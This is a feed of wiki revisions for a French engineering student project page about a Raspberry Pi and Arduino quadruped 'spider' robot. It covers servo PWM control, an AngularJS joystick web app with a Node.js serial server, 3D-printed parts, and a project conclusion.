         case '1':&lt;br /&gt;
           b=b+1;&lt;br /&gt;
           break;&lt;br /&gt;
         case '2':&lt;br /&gt;
           b=b+2;&lt;br /&gt;
           break;&lt;br /&gt;
         case '3':&lt;br /&gt;
           b=b+3;&lt;br /&gt;
           break;&lt;br /&gt;
         case '4':&lt;br /&gt;
           b=b+4;&lt;br /&gt;
           break;&lt;br /&gt;
         case '5':&lt;br /&gt;
           b=b+5;&lt;br /&gt;
           break;&lt;br /&gt;
         case '6':&lt;br /&gt;
           b=b+6;&lt;br /&gt;
           break;&lt;br /&gt;
         case '7':&lt;br /&gt;
           b=b+7;&lt;br /&gt;
           break;&lt;br /&gt;
         case '8':&lt;br /&gt;
           b=b+8;&lt;br /&gt;
           break;&lt;br /&gt;
         case '9':&lt;br /&gt;
           b=b+9;&lt;br /&gt;
           break;  &lt;br /&gt;
         default:&lt;br /&gt;
           break;&lt;br /&gt;
         }&lt;br /&gt;
       }&lt;br /&gt;
     }&lt;br /&gt;
   } &lt;br /&gt;
  }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
En ayant apporté beaucoup de notre temps-libre, nous sommes finalement parvenus à faire fonctionner notre araignée. Cependant, par manque de temps, notre araignée ne remplit pas complètement le cahier des charges. En effet, nous n'utilisons pas les modules XBee puisque nous avons rencontré des problèmes pour les configurer et notre araignée ne se déplace que dans une seule direction et à une vitesse constante. &lt;br /&gt;
Ayant sous estimé l'épaisseur et le poids de l'ensemble arduino + bread-board + câbles, nous n'avons pas pu les fixer en dessous du corps comme prévu et cette ensemble traîne donc par terre...&lt;br /&gt;
Voici le rendu vidéo de notre projet :&lt;br /&gt;
&lt;br /&gt;
METTRE LA VIDEO&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ce projet de Systèmes-communicants nous a tout d'abord permis d'avoir une idée de ce qu'est la filière système communicants (QUE NOUS CHOISIRONS!). Ensuite il nous a permis de nous améliorer sur la méthodologie de la gestion de projet en terme de gestion du temps, de tests, de répartition des tâches. Enfin, la pluralité disciplinaire de ce projet a permis de satisfaire tous les membres du groupe.&lt;br /&gt;
&lt;br /&gt;
Avec un peu plus de temps, nous aurions pu répondre complètement au cahier des charges, à savoir profiter pleinement de la définition d'un joystick pour contrôler notre araignée. Nous aurions aussi pu réaliser une carte électronique afin de ne pas être encombré par tous les câbles, ce qui aurait enrichi la partie électronique et amélioré l'esthétique de notre projet en évitant que notre araignée ait à tracter des composants.&lt;/div&gt;</summary>
		<author><name>Nmehanna</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Projet_IMA3_P1,_2016/2017,_TD2&amp;diff=43706</id>
		<title>Projet IMA3 P1, 2016/2017, TD2</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Projet_IMA3_P1,_2016/2017,_TD2&amp;diff=43706"/>
				<updated>2017-06-11T22:16:57Z</updated>
		
		<summary type="html">&lt;p&gt;Nmehanna : /* Partie mécanique */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Projet IMA3-SC 2016/2017 : Robot quadripode =&lt;br /&gt;
&lt;br /&gt;
== Cahier des charges ==&lt;br /&gt;
&lt;br /&gt;
=== Description du système ===&lt;br /&gt;
&lt;br /&gt;
Notre projet est de réaliser un robot quadripode contrôlé par notre interface web. &lt;br /&gt;
Celui ci aura pour objectif de :&lt;br /&gt;
* se déplacer sur ses pattes dans les directions indiquées par l'utilisateur.&lt;br /&gt;
* Se déplacer à la vitesse demandée par l'utilisateur qui sera plus ou moins rapide.&lt;br /&gt;
&lt;br /&gt;
Chaque pattes possédera 3 articulations afin de faciliter le déplacement du robot. Un des servo-moteur permettra de faire avancer ou reculer la patte, le deuxième permettra au robot de se surélever ou de s'abaisser et le dernier permettra de poser la patte perpendiculaire par rapport au sol.&lt;br /&gt;
&lt;br /&gt;
En fonction du temps que nous prendrons à réaliser notre projet, nous aurons peut être la possibilité d'ajouter une fonctionnalité de vidéo à notre robot. Nous aurons alors la possibilité de voir à travers le robot sur notre interface web.&lt;br /&gt;
&lt;br /&gt;
=== Le matériel ===&lt;br /&gt;
&lt;br /&gt;
Le matériel pour réaliser notre robot quadripode est relativement simple . Nous aurons besoin d'un accès a un ordinateur équipé d'un système linux . Pour le quadripode , nous aurons besoins de :&lt;br /&gt;
* Une raspberry Pi ( de préférence une raspberry pi zéro en raison de sa petite taille)&lt;br /&gt;
* 12 micro servos moteurs pour le mouvement des pattes , soit 2 servos-moteurs par patte .&lt;br /&gt;
* Un module wifi pour la raspberry Pi.&lt;br /&gt;
* Toutes sortes d'écrous et vis dont nous détaillerons le contenu dans le futur.&lt;br /&gt;
* En option , une caméra compatible raspberry pi , pour transmettre une vidéo en direct sur l'interface web, ainsi que son raccordement.&lt;br /&gt;
* Une breadboard pour tester les circuits .&lt;br /&gt;
* Un câble nappe pour raspberry pi .&lt;br /&gt;
&lt;br /&gt;
La liste réalisée est provisoire et pourra subir de légers changement avant le début de projet (les types d'écrous et vis seront détaillés) . Nous aurons en plus des éléments précédents , besoin d'un accès a l'imprimante 3D afin d'imprimer les différentes parties du quadripode .&lt;br /&gt;
&lt;br /&gt;
== Séance 1 ==&lt;br /&gt;
&lt;br /&gt;
=== Partie électronique ===&lt;br /&gt;
La conclusion que nous pouvons apporter après cette première séance de projet est que la partie électronique de ce projet ne s’entendra pas sur les 3 seéances puisque, suite à des discussions avec les différents professeurs, nous avons vu qu'il était plus adéquat de ne pas utiliser de FPGA pour la construction de l'araignée vu que nous utilisons un grand nombre de moteurs. Nous allons donc utiliser une unique carte Arduino qui contrôlera l'intégralité des moteurs.&lt;br /&gt;
&lt;br /&gt;
Pour répondre au cahier des charges du projet, nous avons donc, quand même, programmé un FPGA contrôlant un des moteurs afin de manipuler tous les outils mis à notre dispositions. Nous allons donc vous présenter, dans cette partie, comment nous avons fait fonctionné notre moteur grâce au FPGA.&lt;br /&gt;
&lt;br /&gt;
Avant de pouvoir programmer notre FPGA, nous avons fait des recherches sur la data-sheet du moteur pour déterminer son mode de fonctionnement.&lt;br /&gt;
&lt;br /&gt;
[[Image:data-sheet_moteur.jpg|vignette|center|upright=3.4|alt=fonctionnement moteur|Fonctionnement du moteur]]&lt;br /&gt;
&lt;br /&gt;
Nous pouvons voir grâce à la data-sheet que, pour que notre moteur fonctionne, il faut que le VCC(=5V) soit connecté au câble rouge, la masse au câble marron et le moduleur de largeur d'impulsion (PWM) au câble orange. On remarque également que notre moteur fonctionne à une fréquence de 50Hz (donc une période de 20 ms) et que le sens de rotation dépends du temps à l'état haut du signal. C'est à dire que pour que le moteur tourne dans le sens anti-horaire, il faut que le duty cycle (rapport cyclique) soit à 1 ms, pour aller dans le sens horaire, il doit être de 2 ms et pour que le moteur s'arrête au centre, le rapport cyclique doit être de 1.5ms. Nous allons donc jouer sur ce rapport cyclique afin de changer le sens de rotation du moteur.&lt;br /&gt;
&lt;br /&gt;
Le problème qui s'est posé à nous est d'être assez précis pour pouvoir modifier de manière efficace le rapport cyclique. Étant donné que nous souhaitons avoir une précision de 0.1 ms sur une période de 20 ms, il nous faut donc 200 coups d'horloge (20/0.1). Comme nous fonctionnons à 50Hz, la fréquence du FPGA sera de 50*200=10000 Hz.&lt;br /&gt;
&lt;br /&gt;
Pour faire fonctionner le moteur dans les 2 sens, nous devons maintenant &amp;quot;dire&amp;quot; au FPGA que quand notre compteur arrive a 200, il passe à 1. Il reste à 1 jusqu'a la valeur choisie puis passe à 0 jusque 200.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Image:fpga.jpg|vignette|center|upright=3.4|alt=Schema fpga|Schema bloc du fpga]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Comme vous pouvez le voir sur l'image ci-dessus, nous avons fixé le BUS_JS à la valeur 200, ce bus est connecté à un comparateur et au compteur afin de compter jusque 200. Nous avons ensuite défini le Configurable Digital IO pour mettre la valeur souhaitée pour le fonctionnement du moteur (comprise entre 10 et 20). Cette valeur est mise dans le second comparateur (avec la valeur 200) et nous envoyons ceci dans le moteur qui nous donne la courbe suivante.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Image:graphe.jpg|vignette|center|upright=3.4|alt=courbe fpga|Graphe]]&lt;br /&gt;
&lt;br /&gt;
Nous avons donc, dans la vidéo ci-dessous, mis la valeur 10 et 20 dans le Configurable Digital IO et nous remarquons que le moteur tourne bien dans les 2 sens.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&amp;lt;include iframe src=&amp;quot;https://www.youtube.com/embed/g1hDQJHcsJw&amp;quot; width=&amp;quot;320px&amp;quot; height=&amp;quot;320px&amp;quot; frameborder=&amp;quot;0&amp;quot; scrolling=&amp;quot;yes&amp;quot;/&amp;gt;&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Partie informatique ===&lt;br /&gt;
&lt;br /&gt;
Pour l'application web, nous avons décidé d'utiliser Node ainsi que Angular et les modules socket.IO, serialport de Node pour envoyer nos données vers l'arduino via une Raspberry. Nous voulions utiliser ces technologies récentes afin d'avoir une petite expériences avec celles ci et pour pouvoir apprendre à les utiliser. Angular nous permettant de créer une applicaton dynamique aisément.&lt;br /&gt;
Cette application web représente un joystick qui nous servira à faire déplacer notre robot. Celui ci devra permettre de dire au robot dans quelle direction il doit se déplacer et à quelle vitesse. De plus, il affichera sur la page web la direction que l'utilisateur est en train de donner.&lt;br /&gt;
&lt;br /&gt;
Nous avons tout d'abord réalisé le joystick avec angular. Celui ci est réalisé grâce à 2 images. Une pour l’arrière plan du joystick qui est fixe et l'autre pour le joystick en lui même qui se déplace lorsque l'utilisateur clic sur celui ci et déplace la souris. Lorsque l'utilisateur reclic sur le joystick, celui ci se repositionne au centre.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc 2 événements : &lt;br /&gt;
* lors d'un clic : une variable est mise à jour &amp;quot;mouseIsDown&amp;quot; pour savoir si le joystick doit suivre la souris ou si il doit aller se repositionner en (0,0). &lt;br /&gt;
* lors d'un mouvement de la souris si &amp;quot;mouseIsDown&amp;quot; est égale à 1 : On va alors faire modifier le css de l'image pour faire en sorte que celle ci suive la souris. Celle ci fût la plus complexe à réaliser car il fallait bien calculer la position de l'image en fonction de celle de la souris mais aussi faire en sorte que l'image ne sorte pas de la zone délimitée par le socle du joystick. Nous avons pour cela utilisé beaucoup de formules de trigonométrie.&lt;br /&gt;
&lt;br /&gt;
La taille du socle de notre joystick étant de 200px x 200px, pour vérifier si nous somme bien dans le cercle, nous testons si la norme entre la position x et la position y est bien inférieur à 100. &lt;br /&gt;
Si nous sommes bien dans le cercle, il suffit de donner la position de la souris à l'image.&lt;br /&gt;
Cependant, si la souris n'est pas dans les limites du cercle, nous devons recalculer la position de l'image afin qu'elle se positionne dans la même direction que la souris mais à la limite de la zone du joystick. Nous avons donc calculer l’hypoténuse puis l'angle par rapport à 0 sur le cercle trigonomètrique. pour repositionner le joystick au même angle mais avec une norme de 100 (le maximum sur le cercle que nous avons).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
main.js : (définition de l'application et de ses dépendances)&lt;br /&gt;
&lt;br /&gt;
 angular.module('spiderApp')&lt;br /&gt;
  .controller('MainCtrl', function () {&lt;br /&gt;
    this.awesomeThings = [&lt;br /&gt;
      'HTML5 Boilerplate',&lt;br /&gt;
      'AngularJS',&lt;br /&gt;
      'Karma'&lt;br /&gt;
    ];&lt;br /&gt;
  });&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
deplacement.js : (fonctionnement dynamique du joystick de la page web)&lt;br /&gt;
&lt;br /&gt;
  angular.module('spiderApp').controller('deplacementCtrl', function($scope) {&lt;br /&gt;
    $scope.positionX=200;&lt;br /&gt;
    $scope.positionY=200;&lt;br /&gt;
    $scope.mouseIsDown=false;&lt;br /&gt;
    posXstr=$scope.positionX.toString();&lt;br /&gt;
    posYstr=$scope.positionY.toString();&lt;br /&gt;
    $scope.posjoy = {&lt;br /&gt;
      &amp;quot;left&amp;quot; : posXstr+&amp;quot;px&amp;quot;,&lt;br /&gt;
      &amp;quot;top&amp;quot; : posYstr+&amp;quot;px&amp;quot;,&lt;br /&gt;
      &amp;quot;position&amp;quot; : &amp;quot;absolute&amp;quot;,&lt;br /&gt;
      &amp;quot;height&amp;quot; : &amp;quot;100px&amp;quot;&lt;br /&gt;
    };&lt;br /&gt;
    var socket = io.connect('http://172.26.79.4:8080');&lt;br /&gt;
    $scope.clickDown = function(event){&lt;br /&gt;
      if($scope.mouseIsDown==false)&lt;br /&gt;
      {&lt;br /&gt;
        $scope.mouseIsDown = true;&lt;br /&gt;
        $scope.positionX = event.target.offsetLeft+(event.offsetX-50);&lt;br /&gt;
        $scope.positionY = event.target.offsetTop+(event.offsetY-50);&lt;br /&gt;
        posXstr=$scope.positionX.toString();&lt;br /&gt;
        posYstr=$scope.positionY.toString();&lt;br /&gt;
        $scope.posjoy = {&lt;br /&gt;
          &amp;quot;left&amp;quot; : posXstr+&amp;quot;px&amp;quot;,&lt;br /&gt;
          &amp;quot;top&amp;quot; : posYstr+&amp;quot;px&amp;quot;,&lt;br /&gt;
          &amp;quot;position&amp;quot; : &amp;quot;relative&amp;quot;,&lt;br /&gt;
          &amp;quot;height&amp;quot; : &amp;quot;100px&amp;quot;&lt;br /&gt;
        };&lt;br /&gt;
      }&lt;br /&gt;
      else&lt;br /&gt;
      {&lt;br /&gt;
        $scope.mouseIsDown = false;&lt;br /&gt;
        $scope.positionX = 200;&lt;br /&gt;
        $scope.positionY = 200;&lt;br /&gt;
        console.log($scope.mouseIsDown);&lt;br /&gt;
        posXstr=$scope.positionX.toString();&lt;br /&gt;
        posYstr=$scope.positionY.toString();&lt;br /&gt;
        $scope.posjoy = {&lt;br /&gt;
          &amp;quot;left&amp;quot; : posXstr+&amp;quot;px&amp;quot;,&lt;br /&gt;
          &amp;quot;top&amp;quot; : posYstr+&amp;quot;px&amp;quot;,&lt;br /&gt;
          &amp;quot;position&amp;quot; : &amp;quot;relative&amp;quot;,&lt;br /&gt;
          &amp;quot;height&amp;quot; : &amp;quot;100px&amp;quot;&lt;br /&gt;
        };&lt;br /&gt;
      }&lt;br /&gt;
      socket.emit('message', ($scope.positionX-200)+','+(-($scope.positionY-200))+';');&lt;br /&gt;
    };&lt;br /&gt;
    $scope.moveJoystickOutside = function(event) {&lt;br /&gt;
      if ($scope.mouseIsDown == true) {&lt;br /&gt;
        window.setTimeout(function() {&lt;br /&gt;
        ecartX=parseInt(getComputedStyle(joystick).left, 10);&lt;br /&gt;
        ecartY=parseInt(getComputedStyle(joystick).top, 10);&lt;br /&gt;
        //on retranche 200 la marge du boutton araigné jusqu'au bord du div #joystick + 50 pour arriver au centre de l'image&lt;br /&gt;
        //+20 en Y à cause du footer qui sera toujours de taille constante&lt;br /&gt;
        positionXProvisoire = event.clientX - ecartX -250;&lt;br /&gt;
        positionYProvisoire = -(event.clientY - ecartY-330);&lt;br /&gt;
        console.log(&amp;quot;posi prov X: &amp;quot;+positionXProvisoire);&lt;br /&gt;
        console.log(&amp;quot;posi prov Y: &amp;quot;+positionYProvisoire);&lt;br /&gt;
        //partie dans le cercle&lt;br /&gt;
        if ( Math.sqrt(Math.pow(positionXProvisoire/100,2)+Math.pow(positionYProvisoire/100,2)) &amp;gt;= 0 &amp;amp;&amp;amp; Math.sqrt(Math.pow(positionXProvisoire/100,2)+Math.pow(positionYProvisoire/100,2)) &amp;lt; 1)&lt;br /&gt;
        {&lt;br /&gt;
          //50=moitié de la dimension de l'image du bouton avec l'araignée.&lt;br /&gt;
          //a retrancher car on veut le centre de l'image et pas le coin supérieur gauche.&lt;br /&gt;
          $scope.positionX=event.clientX-ecartX-50;&lt;br /&gt;
          $scope.positionY=event.clientY-ecartY-130;&lt;br /&gt;
          console.log(&amp;quot;posi X: &amp;quot;+$scope.positionX);&lt;br /&gt;
          console.log(&amp;quot;posi Y: &amp;quot;+$scope.positionY);&lt;br /&gt;
          posXstr = $scope.positionX.toString();&lt;br /&gt;
          posYstr = $scope.positionY.toString();&lt;br /&gt;
          $scope.posjoy = {&lt;br /&gt;
            &amp;quot;left&amp;quot;: posXstr + &amp;quot;px&amp;quot;,&lt;br /&gt;
            &amp;quot;top&amp;quot;: posYstr + &amp;quot;px&amp;quot;,&lt;br /&gt;
            &amp;quot;position&amp;quot;: &amp;quot;relative&amp;quot;,&lt;br /&gt;
            &amp;quot;height&amp;quot;: &amp;quot;100px&amp;quot;&lt;br /&gt;
          };&lt;br /&gt;
        }&lt;br /&gt;
        //partie en dehors du cercle&lt;br /&gt;
        else&lt;br /&gt;
          {&lt;br /&gt;
            hypothenuse=Math.sqrt(Math.pow(positionXProvisoire,2)+Math.pow(positionYProvisoire,2));&lt;br /&gt;
            angle=Math.acos(positionXProvisoire/hypothenuse);&lt;br /&gt;
            if(-(event.clientY - ecartY-330)&amp;lt;0)&lt;br /&gt;
            {&lt;br /&gt;
              $scope.positionX=parseInt((Math.cos(angle)*100)+200);&lt;br /&gt;
              $scope.positionY=parseInt((Math.sin(angle)*100)+200);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
              $scope.positionX=parseInt((Math.cos(angle)*100)+200);&lt;br /&gt;
              $scope.positionY=parseInt((-Math.sin(angle)*100)+200);&lt;br /&gt;
            }&lt;br /&gt;
            posXstr = $scope.positionX.toString();&lt;br /&gt;
            posYstr = $scope.positionY.toString();&lt;br /&gt;
            $scope.posjoy = {&lt;br /&gt;
              &amp;quot;left&amp;quot;: posXstr + &amp;quot;px&amp;quot;,&lt;br /&gt;
              &amp;quot;top&amp;quot;: posYstr + &amp;quot;px&amp;quot;,&lt;br /&gt;
              &amp;quot;position&amp;quot;: &amp;quot;relative&amp;quot;,&lt;br /&gt;
              &amp;quot;height&amp;quot;: &amp;quot;100px&amp;quot;&lt;br /&gt;
            };&lt;br /&gt;
          }&lt;br /&gt;
        //attendre un peu pour ne pas embrouiller la transmition du signal&lt;br /&gt;
        socket.emit('message', ($scope.positionX-200)+','+(-($scope.positionY-200))+';');&lt;br /&gt;
        }, 10);//delay en millisecondes&lt;br /&gt;
      }&lt;br /&gt;
    };&lt;br /&gt;
  });&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
!!!!!!!!!!!!!!!!!!!!!!!PHOTO APPLICATION WEB !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!&lt;br /&gt;
&lt;br /&gt;
== Séance 2 ==&lt;br /&gt;
&lt;br /&gt;
=== Partie électronique ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Partie mécanique ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le but premier de ce projet n'était pas de faire de la mécanique mais nous devions passer obligatoirement par cette étape pour que l'araignée puisse se déplacer. Cette partie nous a pris énormément de temps en dehors des séances. &lt;br /&gt;
&lt;br /&gt;
- Réalisation des pièces nécessaires à la construction de l'araignée :&lt;br /&gt;
&lt;br /&gt;
Nous avons décidé d'imprimer les pattes de notre araignée avec l'imprimante 3D du fabricarium en nous aidant d'un projet du même type trouvé sur internet : [http://www.instructables.com/id/A-3D-Printed-Quadruped-Robot/]. Cependant, les servos-moteurs mis à notre disposition pour ce projet étant de dimensions différentes de ceux utilisés sur le projet précédemment cité, nous avons du redimmensionner les différents pièces sur Freecad. Voici un aperçu des pièces finales Freecad : &lt;br /&gt;
&lt;br /&gt;
PHOTO DES PIECES FREECAD&lt;br /&gt;
&lt;br /&gt;
Nous avons du réaliser de nombreux tests d'impression avant de parvenir à la taille idéale pour l'assemblage des différentes pièces. &lt;br /&gt;
Une fois les pièces nécessaires à l'assemblage des pattes imprimées, il nous fallait le corps de l'araignée. Nous avons alors pour cela découpé une forme simple en Plexiglas (Nous remerçions d'ailleurs M. Redon pour son Plexiglas) à l'aide de la découpe laser du Fabricarium.&lt;br /&gt;
&lt;br /&gt;
=== Partie informatique ===&lt;br /&gt;
&lt;br /&gt;
Une fois l'application web créée et l'envoi des données possible sur le terminal grâce aux websockets, nous avons dû cette fois rediriger les données sur le port série. Cette partie nous a posé beaucoup de difficultés car nous n'arrivions pas à voir si les données s'envoyaient réellement ou non. Cependant, grâce au module &amp;quot;serial-port&amp;quot; de Node, l'envoi des données était assez simple en ayant bien lu la documentation. Nous n'avions simplement pas vu que le problème se posait du coté de la réception où l'arduino avait du mal à recevoir convenablement le message envoyé sur le port série. &lt;br /&gt;
Pour palier ce problème, nous avons élaboré un algorithme extrêmement basique sur arduino afin de pouvoir réaliser la transmission dans les meilleures conditions possibles. Celui ci traitant un à un les caractère afin de pouvoir reconstituer un entier de manière fiable.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
server.js (permet d'envoyer le message créé dans deplacement.js sur le port série)&lt;br /&gt;
&lt;br /&gt;
 var express = require('express');&lt;br /&gt;
 var app = express();&lt;br /&gt;
 var server = require('http').Server(app);&lt;br /&gt;
 var io = require('socket.io')(server);&lt;br /&gt;
 var SerialPort = require(&amp;quot;serialport&amp;quot;);&lt;br /&gt;
 var port = new SerialPort(&amp;quot;/dev/ttyUSB1&amp;quot;,{baudRate: 115200, parity : 'none', autoOpen :false});&lt;br /&gt;
 app.use(express.static(__dirname+&amp;quot;/../..&amp;quot;));&lt;br /&gt;
 app.use(express.static(__dirname+&amp;quot;/../../../bower_components/&amp;quot;));&lt;br /&gt;
 port.open(function (error){&lt;br /&gt;
  if(error)&lt;br /&gt;
  {&lt;br /&gt;
    console.log('Error while opening the port ' + error);&lt;br /&gt;
  }&lt;br /&gt;
  else&lt;br /&gt;
  {&lt;br /&gt;
      io.on('connection', function(socket) {&lt;br /&gt;
        console.log('new connection');&lt;br /&gt;
        socket.on('message', function (message) {&lt;br /&gt;
          port.write(message, function(err) {&lt;br /&gt;
            if (err) {&lt;br /&gt;
              return console.log('Error on write: ', err.message);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
              console.log('Position : ' + message);&lt;br /&gt;
            }&lt;br /&gt;
          });&lt;br /&gt;
        });&lt;br /&gt;
      });&lt;br /&gt;
  }&lt;br /&gt;
 });&lt;br /&gt;
 server.listen(8080, function() {&lt;br /&gt;
  console.log('server up and running at 8080 port');&lt;br /&gt;
 });&lt;br /&gt;
&lt;br /&gt;
== Séance 3 ==&lt;br /&gt;
&lt;br /&gt;
=== Partie électronique ===&lt;br /&gt;
&lt;br /&gt;
=== Partie informatique ===&lt;br /&gt;
&lt;br /&gt;
envoi des données sur le port série&lt;br /&gt;
&lt;br /&gt;
Configuration de la Raspberry : &lt;br /&gt;
&lt;br /&gt;
- Configuration IP :La Raspberry doit pouvoir communiquer avec l'ordinateur de la salle de projet pour pouvoir avoir accès à l'application web ainsi qu'au réseau de Polytech pour pouvoir installer les différents paquetages de Node. Pour cela, on modifie le fichier /etc/network/interfaces en remplaçant l'IP présente dans le fichier par celle de notre ordinateur de salle de projet et on configure en static. La Raspberry peut ainsi communiquer avec l'ordinateur. Ensuite, on indique le serveur DNS dans le fichier /etc/resolv.conf par : nameserver 193.48.57.34&lt;br /&gt;
La Raspberry peut ainsi communiquer avec le réseau Polytech&lt;br /&gt;
&lt;br /&gt;
- Installation de Node sur la Raspberry et déplacement des fichiers de code. Nous avons été confronté à de nombreuses difficultés pour cette partie. En effet, notre code faisant intervenir de nombreux modules, il a fallu tous les installer et nous avons rencontré des problèmes de version entre node lui même et les modules. Nous sommes finalement parvenu à l'installation en installant des versions compatibles entre elles. On introduit les fichiers de code sur la Raspberry&lt;br /&gt;
&lt;br /&gt;
- Configuration de la Raspberry pour que le serveur se lance au démarrage. Pour pouvoir lancer le serveur au démarrage, on déplace les fichiers d'installation de Node dans /usr/local/sbin ainsi que nos programmes puis on modifie le fichier /etc/rc.local dont le contenu est exécuté à chaque démarrage de la Raspberry. On ajoute alors la ligne : /usr/local/sbin/node /usr/local/sbin/spiderS6/app/scripts/controllers/server.js &amp;amp; &lt;br /&gt;
Ainsi, le serveur est lancé à chaque démarrage de la Raspberry.&lt;br /&gt;
&lt;br /&gt;
=== Partie mécanique ===&lt;br /&gt;
&lt;br /&gt;
     '''Assemblage des pièces''' :&lt;br /&gt;
&lt;br /&gt;
Une fois en possession de toutes les pièces, nous avons procédé à l'assemblage.&lt;br /&gt;
Nous avons alors, pour chaque patte :&lt;br /&gt;
&lt;br /&gt;
- Placés les servos-moteurs à leur emplacement destiné en les collant pour ne pas qu'ils bougent&lt;br /&gt;
- Fixés le tibia sur le coude à l'aide d'une vis d'un coté et de colle de l'autre&lt;br /&gt;
- Fixés l'ensemble tibia-coude sur l'épaule à l'aide d'une vis d'un coté et de colle de l'autre&lt;br /&gt;
&lt;br /&gt;
Voici le rendu des pattes assemblées : &lt;br /&gt;
&lt;br /&gt;
                                                                          [[Fichier:Pattes.jpg]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois les pattes assemblées, nous devions les fixer sur le corps. Nous voulions au départ les coller mais même avec de la superglue, elles ne tenaient en raison de la différence de matériau entre les pattes et le corps. Nous avons alors percer le corps à quatres emplacements pour y visser les pattes avec l'aide de M.Thierry Flamen, responsable du labo d'électronique de Polytech (que nous remerçions grandement).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                         [[Fichier:Percage.jpg]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La partie mécanique de notre araignée est ainsi terminée. Malheuresement, nous n'avons pas pris de photo une fois cette phase finie.&lt;br /&gt;
&lt;br /&gt;
== Séance supplémentaire 1 ==&lt;br /&gt;
&lt;br /&gt;
=== Partie électronique ===&lt;br /&gt;
&lt;br /&gt;
La partie mécanique étant terminée, nous avons pu procéder au câblage des servos-moteurs sur l'arduino et la bread-board. &lt;br /&gt;
&lt;br /&gt;
Voici une photo du rendu de l'araignée câblée :&lt;br /&gt;
&lt;br /&gt;
                                                                         [[Fichier:Araignée.jpg]]&lt;br /&gt;
&lt;br /&gt;
=== Partie informatique ===&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
En ayant apporté beaucoup de notre temps-libre, nous sommes finalement parvenus à faire fonctionner notre araignée. Cependant, par manque de temps, notre araignée ne remplit pas complètement le cahier des charges. En effet, nous n'utilisons pas les modules XBee puisque nous avons rencontré des problèmes pour les configurer et notre araignée ne se déplace que dans une seule direction et à une vitesse constante. &lt;br /&gt;
Ayant sous estimé l'épaisseur et le poids de l'ensemble arduino + bread-board + câbles, nous n'avons pas pu les fixer en dessous du corps comme prévu et cette ensemble traîne donc par terre...&lt;br /&gt;
Voici le rendu vidéo de notre projet :&lt;br /&gt;
&lt;br /&gt;
METTRE LA VIDEO&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ce projet de Systèmes-communicants nous a tout d'abord permis d'avoir une idée de ce qu'est la filière système communicants (QUE NOUS CHOISIRONS!). Ensuite il nous a permis de nous améliorer sur la méthodologie de la gestion de projet en terme de gestion du temps, de tests, de répartition des tâches. Enfin, la pluralité disciplinaire de ce projet a permis de satisfaire tous les membres du groupe.&lt;br /&gt;
&lt;br /&gt;
Avec un peu plus de temps, nous aurions pu répondre complètement au cahier des charges, à savoir profiter pleinement de la définition d'un joystick pour contrôler notre araignée. Nous aurions aussi pu réaliser une carte électronique afin de ne pas être encombré par tous les câbles, ce qui aurait enrichi la partie électronique et amélioré l'esthétique de notre projet en évitant que notre araignée ait à tracter des composants.&lt;/div&gt;</summary>
		<author><name>Nmehanna</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Projet_IMA3_P1,_2016/2017,_TD2&amp;diff=39780</id>
		<title>Projet IMA3 P1, 2016/2017, TD2</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Projet_IMA3_P1,_2016/2017,_TD2&amp;diff=39780"/>
				<updated>2017-02-27T19:13:02Z</updated>
		
		<summary type="html">&lt;p&gt;Nmehanna : /* Le matériel */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Projet IMA3-SC 2016/2017 : Robot quadripode =&lt;br /&gt;
&lt;br /&gt;
== Cahier des charges ==&lt;br /&gt;
&lt;br /&gt;
=== Description du système ===&lt;br /&gt;
&lt;br /&gt;
Notre projet est de réaliser un robot quadripode contrôlé par notre interface web. &lt;br /&gt;
Celui ci aura pour objectif de :&lt;br /&gt;
* se déplacer sur ses pattes dans les directions indiquées par l'utilisateur.&lt;br /&gt;
* Se déplacer à la vitesse demandée par l'utilisateur qui sera plus ou moins rapide.&lt;br /&gt;
&lt;br /&gt;
Chaque pattes possédera 3 articulations afin de faciliter le déplacement du robot. Un des servo-moteur permettra de faire avancer ou reculer la patte, le deuxième permettra au robot de se surélever ou de s'abaisser et le dernier permettra de poser la patte perpendiculaire par rapport au sol.&lt;br /&gt;
&lt;br /&gt;
En fonction du temps que nous prendrons à réaliser notre projet, nous aurons peut être la possibilité d'ajouter une fonctionnalité de vidéo à notre robot. Nous aurons alors la possibilité de voir à travers le robot sur notre interface web.&lt;br /&gt;
&lt;br /&gt;
=== Le matériel ===&lt;br /&gt;
&lt;br /&gt;
Le matériel pour réaliser notre robot quadripode est relativement simple . Nous aurons besoin d'un accès a un ordinateur équipé d'un système linux . Pour le quadripode , nous aurons besoins de :&lt;br /&gt;
* Une raspberry Pi ( de préférence une raspberry pi zéro en raison de sa petite taille)&lt;br /&gt;
* 12 micro servos moteurs pour le mouvement des pattes , soit 2 servos-moteurs par patte .&lt;br /&gt;
